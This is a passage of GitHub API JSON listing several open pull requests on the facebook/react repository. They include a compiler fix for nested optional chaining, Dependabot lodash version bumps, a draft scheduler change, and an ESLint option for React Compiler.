69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35597" }, "html": { "href": "https://github.com/facebook/react/pull/35597" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35597" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35597/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35597/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35597/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/a6acf10959833854d20e476d9e296a793b238ffd" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35596", "id": 3197397497, "node_id": "PR_kwDOAJy2Ks6-lGn5", "number": 35596, "state": "open", "locked": false, "title": "[commit] Fix for nested optional chaining within other value blocks", "user": { "login": "josephsavona", "id": 6425824, "node_id": "MDQ6VXNlcjY0MjU4MjQ=", "avatar_url": "https://avatars.githubusercontent.com/u/6425824?v=4", "gravatar_id": "", "url": "https://api.github.com/users/josephsavona", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "\nFixes a longstanding issue where we didn't support code like `useFoo(value?.bar(), value?.bar()) ?? {}` - we would attempt to construct a ReactiveFunction, recursively processing the blocks, but the inner optional `value?.bar()` wouldn't match with what the outer optional was expecting to find. It's a one-line fix!\n\nNote: memoization in the examples is not ideal, but i've confirmed that it is not strictly related to the optional issue.\n\n---\n[//]: # (BEGIN SAPLING FOOTER)\nStack created with [Sapling](https://sapling-scm.com). Best reviewed with [ReviewStack](https://reviewstack.dev/facebook/react/pull/35596).\n* #35607\n* #35298\n* __->__ #35596\n* #35573\n* #35595\n* #35539", "created_at": "2026-01-22T00:46:09Z", "updated_at": "2026-01-23T19:08:03Z", "closed_at": null, "merged_at": null, "merge_commit_sha": null, "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null }, "1": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "milestone": null, "draft": false, "head": { "label": "facebook:pr35596", "ref": "pr35596", "sha": "26d580b79ef2a73c5b40eea90bb32edfb41fbb6e", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "006ae379727ebceb82d03929222a71104d01135f", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35596" }, "html": { "href": "https://github.com/facebook/react/pull/35596" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35596" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35596/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35596/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35596/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/26d580b79ef2a73c5b40eea90bb32edfb41fbb6e" } }, "author_association": "MEMBER", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35592", "id": 3197111854, "node_id": "PR_kwDOAJy2Ks6-kA4u", "number": 35592, "state": "open", "locked": false, "title": "Bump lodash from 4.17.21 to 4.17.23", "user": { "login": "dependabot[bot]", "id": 49699333, "node_id": "MDM6Qm90NDk2OTkzMzM=", "avatar_url": "https://avatars.githubusercontent.com/in/29110?v=4", "gravatar_id": "", "url": "https://api.github.com/users/dependabot%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "body": "Bumps [lodash](https://github.com/lodash/lodash) from 4.17.21 to 4.17.23.\n
\nCommits\n\n
\n
\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=lodash&package-manager=npm_and_yarn&previous-version=4.17.21&new-version=4.17.23)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n
\nDependabot commands and options\n
\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/facebook/react/network/alerts).\n\n
", "created_at": "2026-01-21T23:08:02Z", "updated_at": "2026-01-21T23:14:26Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "9bc3e8aa2074a0477cab8f1d53165b2c1abc7ecf", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null }, "1": { "id": 1757816973, "node_id": "MDU6TGFiZWwxNzU3ODE2OTcz", "url": "https://api.github.com/repos/facebook/react/labels/dependencies", "name": "dependencies", "color": "0366d6", "default": false, "description": "Pull requests that update a dependency file" }, "2": { "id": 7065542027, "node_id": "LA_kwDOAJy2Ks8AAAABpSOdiw", "url": "https://api.github.com/repos/facebook/react/labels/javascript", "name": "javascript", "color": "168700", "default": false, "description": "Pull requests that update Javascript code" } }, "milestone": null, "draft": false, "head": { "label": "facebook:dependabot/npm_and_yarn/lodash-4.17.23", "ref": "dependabot/npm_and_yarn/lodash-4.17.23", "sha": "6a716bdc3ecab14be1a06095e3050ff65b2aca7e", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "03ee29da2f3a7dcd1a7a22ed9b4d13eeceb9da57", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35592" }, "html": { "href": "https://github.com/facebook/react/pull/35592" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35592" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35592/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35592/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35592/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/6a716bdc3ecab14be1a06095e3050ff65b2aca7e" } }, "author_association": "CONTRIBUTOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 6, 5 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35591", "id": 3197106302, "node_id": "PR_kwDOAJy2Ks6-j_h-", "number": 35591, "state": "open", "locked": false, "title": "Bump lodash from 4.17.21 to 4.17.23 in /compiler/apps/playground", "user": { "login": "dependabot[bot]", "id": 49699333, "node_id": "MDM6Qm90NDk2OTkzMzM=", "avatar_url": "https://avatars.githubusercontent.com/in/29110?v=4", "gravatar_id": "", "url": "https://api.github.com/users/dependabot%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "body": "Bumps [lodash](https://github.com/lodash/lodash) from 4.17.21 to 4.17.23.\n
\nCommits\n\n
\n
\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=lodash&package-manager=npm_and_yarn&previous-version=4.17.21&new-version=4.17.23)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n
\nDependabot commands and options\n
\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/facebook/react/network/alerts).\n\n
", "created_at": "2026-01-21T23:06:10Z", "updated_at": "2026-01-21T23:06:17Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "e55e2b7aa6e270632d1f70ff357471a6a4ea4c4e", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null }, "1": { "id": 1757816973, "node_id": "MDU6TGFiZWwxNzU3ODE2OTcz", "url": "https://api.github.com/repos/facebook/react/labels/dependencies", "name": "dependencies", "color": "0366d6", "default": false, "description": "Pull requests that update a dependency file" }, "2": { "id": 7065542027, "node_id": "LA_kwDOAJy2Ks8AAAABpSOdiw", "url": "https://api.github.com/repos/facebook/react/labels/javascript", "name": "javascript", "color": "168700", "default": false, "description": "Pull requests that update Javascript code" } }, "milestone": null, "draft": false, "head": { "label": "facebook:dependabot/npm_and_yarn/compiler/apps/playground/lodash-4.17.23", "ref": "dependabot/npm_and_yarn/compiler/apps/playground/lodash-4.17.23", "sha": "d8b35abad056f2614356477543a5f1c7668cb941", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "03ee29da2f3a7dcd1a7a22ed9b4d13eeceb9da57", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35591" }, "html": { "href": "https://github.com/facebook/react/pull/35591" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35591" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35591/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35591/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35591/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/d8b35abad056f2614356477543a5f1c7668cb941" } }, "author_association": "CONTRIBUTOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 6, 5 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35588", "id": 3196425062, "node_id": "PR_kwDOAJy2Ks6-hZNm", "number": 35588, "state": "open", "locked": false, "title": "[WIP] use symbols for scheduler priority levels", "user": { "login": "elevenpassin", "id": 5159834, "node_id": "MDQ6VXNlcjUxNTk4MzQ=", "avatar_url": "https://avatars.githubusercontent.com/u/5159834?v=4", "gravatar_id": "", "url": "https://api.github.com/users/elevenpassin", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "\r\n\r\n## Summary\r\n\r\n\r\n\r\n## How did you test this change?\r\n\r\n\r\n", "created_at": "2026-01-21T18:52:32Z", "updated_at": "2026-01-21T23:20:29Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "ab7ce9b3f29d1524d159cb1a42745bd934808404", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": true, "head": { "label": "elevenpassin:no-ticket-use-symbols-for-scheduler-priority-lanes", "ref": "no-ticket-use-symbols-for-scheduler-priority-lanes", "sha": "24c0799000352e8716ff57e92a02b450499a3864", "user": { "login": "elevenpassin", "id": 5159834, "node_id": "MDQ6VXNlcjUxNTk4MzQ=", "avatar_url": "https://avatars.githubusercontent.com/u/5159834?v=4", "gravatar_id": "", "url": "https://api.github.com/users/elevenpassin", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 603536443, "node_id": "R_kgDOI_k8Ow", "name": "react", "full_name": "elevenpassin/react", "private": false, "owner": { "login": "elevenpassin", "id": 5159834, "node_id": "MDQ6VXNlcjUxNTk4MzQ=", "avatar_url": "https://avatars.githubusercontent.com/u/5159834?v=4", "gravatar_id": "", "url": "https://api.github.com/users/elevenpassin", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "A declarative, efficient, and flexible JavaScript library for building user interfaces.", "fork": true, "url": "https://api.github.com/repos/elevenpassin/react", "created_at": "2023-02-18T20:09:05Z", "updated_at": "2026-01-21T23:09:16Z", "pushed_at": "2026-01-21T23:20:27Z", "homepage": "https://reactjs.org", "size": 124421, "stargazers_count": 2, "watchers_count": 2, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": true, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 2, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "03ee29da2f3a7dcd1a7a22ed9b4d13eeceb9da57", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35588" }, "html": { "href": "https://github.com/facebook/react/pull/35588" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35588" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35588/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35588/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35588/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/24c0799000352e8716ff57e92a02b450499a3864" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35579", "id": 3193810592, "node_id": "PR_kwDOAJy2Ks6-Xa6g", "number": 35579, "state": "open", "locked": false, "title": "[compiler] Add reactCompiler option to suppress memoization warnings", "user": { "login": "yunaotsk", "id": 160295171, "node_id": "U_kgDOCY3pAw", "avatar_url": "https://avatars.githubusercontent.com/u/160295171?v=4", "gravatar_id": "", "url": "https://api.github.com/users/yunaotsk", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "Fixes part of #35499\r\nThis PR helps detect when React Compiler is enabled, allowing `eslint-plugin-react-hooks` to bypass unnecessary `useCallback`/`useMemo` warnings.\r\n\r\nWhen React Compiler is enabled, it automatically memoizes components, making manual memoization with `useCallback` and `useMemo` unnecessary. However, the ESLint plugin was still warning about functions and objects that \"change on every render\" and suggesting these manual optimizations.\r\n\r\nThis PR adds a `reactCompiler` configuration option that can be set either:\r\n- In rule options: `rules: { 